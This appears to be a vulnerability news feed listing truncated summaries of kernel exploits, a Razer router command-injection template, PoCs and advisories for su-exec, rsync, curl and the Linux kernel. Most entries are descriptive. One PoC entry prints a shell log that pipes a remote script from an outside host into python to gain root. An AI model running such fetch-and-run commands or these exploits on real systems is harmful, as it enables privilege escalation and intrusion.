kernel-exploits

Kernel Exploits Various kernel exploits CVE-2021-22555 Linux local root exploit. Updated version of theflow's exploit for CVE-2021-22555. A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/xtables.c. This allows an attacker to gain privileges or cause a D...

Razer Sila Gaming Router - Remote Code Execution

A command injection in the command parameter of Razer Sila Gaming Router v2.0.441api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request. id: CVE-2022-29013 info: name: Razer Sila Gaming Router - Remote Code Execution author: DhiyaneshDK severity: critical descriptio...

CVE-2024-40635_POC

CVE-2024-40635POC Proof of Concept code for proving CVE-2024-40635 vulnerability Data gathered from here: https://nvd.nist.gov/vuln/detail/CVE-2024-40635 1. Importing the Docker Library root@kitploit: import docker This imports the Python docker library, which allows interaction with Docker using...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fixed the null-ptr-deref issue in ibcorecleanup. KASAN reported a null-ptr-deref error: KASAN: Null pointer dereferencing in the range 0x0000000000000118–0x000000000000011f. CPU: 1; PID: 379. Hardware name: QEMU Standa...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15

In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fixed a reference leak in the GID entry when the createah operation fails. If the AH create request fails, the sgidattr should be released to avoid a reference leak during the release of the GID table...

Astra Linux – Vulnerability in Systemd

It was discovered that a Systemd service that uses the DynamicUser property can obtain new privileges by executing SUID binaries. This allows the service to create binaries belonging to the transient group, with the setgid bit set. A local attacker could exploit this flaw to access resources that...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: RDMA/cm: Fixed the issue of leaking the multicast GID table reference. If the CM ID is destroyed while the CM event for multicast creation is still queued, the cancelworksync function will prevent the work from running. This also...

CVE-2026-53788

A newline injection vulnerability exists in rsync's uid/gid mapping process. An attacker can inject newline characters into user or group names, causing the rsync daemon to process attacker-controlled data as legitimate protocol input. This results in data corruption within the uid/gid mapping...

Unity Linux 20.1050a Security Update: kernel (UTSA-2026-053399)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-053399 advisory. In the Linux kernel, the following vulnerability has been resolved: sysctl: always initialize iuid/igid Always initialize iuid/igid inside the sysfs core so...

SUSE CVE-2026-74617

In the Linux kernel, the following vulnerability has been resolved: dibs: initialise dibs-lock in dibsdevalloc dibs-lock is initialised by dibsdevadd, but a dibs device can already take interrupts before that call: ismprobe runs ismdevinit, and hence requestirq, before it calls dibsdevadd. No...

CVE-2026-82457

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...

EUVD-2026-68104

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...

PT-2026-83436

su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uid t and gid t, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...

curl: 49: Cookie-jar save transfers group access to a different GID

Summary Curlfopen copies the old cookie jar's permission bits onto a newly created temp file, but the temp file may receive a different GID the process's primary group instead of the old file's group. After rename, group-permission bits that were intended for one group now authorize a different...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: trousers (UTSA-2026-093156)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-093156 advisory. An issue was discovered in TrouSerS through 0.3.14. If the tcsd daemon is started with root privileges instead of by the tss user, it fails to drop the root gid...

CVE-2026-74617

In the Linux kernel, the following vulnerability has been resolved: dibs: initialise dibs-lock in dibsdevalloc dibs-lock is initialised by dibsdevadd, but a dibs device can already take interrupts before that call: ismprobe runs ismdevinit, and hence requestirq, before it calls dibsdevadd. No...

Linux Distros Unpatched Vulnerability : CVE-2026-74617

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - dibs: initialise dibs-lock in dibsdevalloc dibs-lock is initialised by dibsdevadd, but a dibs device can already take interrupts before that call: ismprobe runs...

PT-2026-79622

In the Linux kernel, the following vulnerability has been resolved: dibs: initialise dibs-lock in dibs dev alloc dibs-lock is initialised by dibs dev add, but a dibs device can already take interrupts before that call: ism probe runs ism dev init, and hence request irq, before it calls dibs dev...

SUSE CVE-2026-53788

rsync before 3.5.0 contains a newline injection vulnerability in the name-converter uid/gid mapping interface that allows local attackers to forge protocol messages by creating user or group names containing newline characters. Attackers can inject malicious newline characters into names...